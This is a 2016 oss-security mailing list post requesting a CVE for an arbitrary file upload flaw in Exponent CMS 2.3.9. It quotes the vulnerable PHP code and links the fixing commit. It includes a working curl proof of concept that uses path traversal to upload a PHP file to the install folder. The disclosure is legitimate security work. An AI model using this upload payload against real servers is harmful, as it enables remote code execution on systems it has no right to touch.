|
Message-ID: <CAEiFw0UvtbGuJ-M_zR0M+BtrEMn_tg7J3KZs+huS25imOSTNkg@mail.gmail.com> Date: Wed, 21 Sep 2016 08:10:39 +0800 From: Carl Peng <felixk3y@...il.com> To: oss-security@...ts.openwall.com Subject: CVE request:Exponent CMS 2.3.9 Arbitrary File Upload vulnerability in expFile.php Hi, I reported the following Arbitrary File Upload vulnerability to the ExponentCMS team on Sep 13, 2016: vulnerability: https://github.com/exponentcms/exponent-cms/blob/master/framework/modules/file/controllers/fileController.php#L570-L592 ``` if (!empty($this->params['folder']) || (defined('QUICK_UPLOAD_FOLDER') && QUICK_UPLOAD_FOLDER != '' && QUICK_UPLOAD_FOLDER != 0)) { // prevent attempt to place file somewhere other than /files folder if (!empty($this->params['folder']) && strpos($this->params['folder'], '..') !== false) { $ar = new expAjaxReply(300, gt("File was not uploaded!")); $ar->send(); } if (SITE_FILE_MANAGER == 'picker') { $quikFolder = !empty($this->params['folder']) ? $this->params['folder'] :QUICK_UPLOAD_FOLDER; $destDir = null; } elseif (SITE_FILE_MANAGER == 'elfinder') { $quikFolder = null; $destDir = UPLOAD_DIRECTORY_RELATIVE . (!empty($this->params['folder']) ? $this->params['folder'] :QUICK_UPLOAD_FOLDER) . '/'; // create folder if non-existant expFile::makeDirectory($destDir); } } else { $quikFolder = null; $destDir = null; } //extensive suitability check before doing anything with the file... if (isset($_SERVER['HTTP_X_FILE_NAME'])) { //HTML5 XHR upload $file = expFile::fileXHRUpload($_SERVER['HTTP_X_FILE_NAME'],false,false,null,$destDir,intval(QUICK_UPLOAD_WIDTH)); //here File Upload vulnerability $file->poster = $user->id; ``` the "folder" and "$_SERVER['HTTP_X_FILE_NAME']", the two parameters may be submitted by the user expFile::fileXHRUpload(): https://github.com/exponentcms/exponent-cms/blob/master/framework/modules/file/models/expFile.php#L526 ``` $_destFile = ($_destFile == null) ? self::fixName($fileName) : $_destFile; //"fileName" parameter may be submitted by the user //... $maxwidth = intval($_max_width); if (!empty($maxwidth)) { ../// } else { file_put_contents($_destFullPath, file_get_contents('php://input', 'r')); // line 572 } Proof of concept: curl -H "X-File-Name: e.php" -d "controller=file&action=quickUpload&code=<?php phpinfo();?>&folder=../install" http://www.exponentcms.org/index.php http://www.exponentcms.org/install/e.php And Now, This vulnerability have been fixed. https://exponentcms.lighthouseapp.com/projects/61783/changesets/355702a9835cf527796c9d469a82258b7639148a https://github.com/exponentcms/exponent-cms/commit/355702a9835cf527796c9d469a82258b7639148a This issue was reported by Peng Hua of silence.com.cn Inc. and I would like to request a CVE for this issue (if not done so). Thank you. ---------------------------------http://www.silence.com.cn penghua#silence.com.cn PKAV Team
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.